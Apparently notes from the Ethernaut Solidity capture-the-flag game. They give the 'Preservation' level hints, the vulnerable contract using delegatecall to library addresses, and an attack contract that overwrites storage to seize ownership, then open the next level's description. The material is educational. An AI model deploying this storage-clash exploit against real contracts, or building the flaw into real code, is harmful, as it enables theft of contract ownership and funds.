// This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
// The goal of this level is for you to claim ownership of the instance you are given.
// Things that might help
// Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope. // Understanding what it means for delegatecall to be context-preserving. // Understanding how storage variables are stored and accessed. // Understanding how casting works between different data types.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
// set the time for timezone 1 function setFirstTime(uint256 _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }
// set the time for timezone 2 function setSecondTime(uint256 _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } }
// Simple library contract to set the time contract LibraryContract { // stores a timestamp uint256 storedTime;
function setTime(uint256 _time) public { storedTime = _time; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0;
contract PreservationAttack{ address public timeZone1Library; address public timeZone2Library; address public owner; function setTime(uint256) public { owner = tx.origin; } }
// A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.
// This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.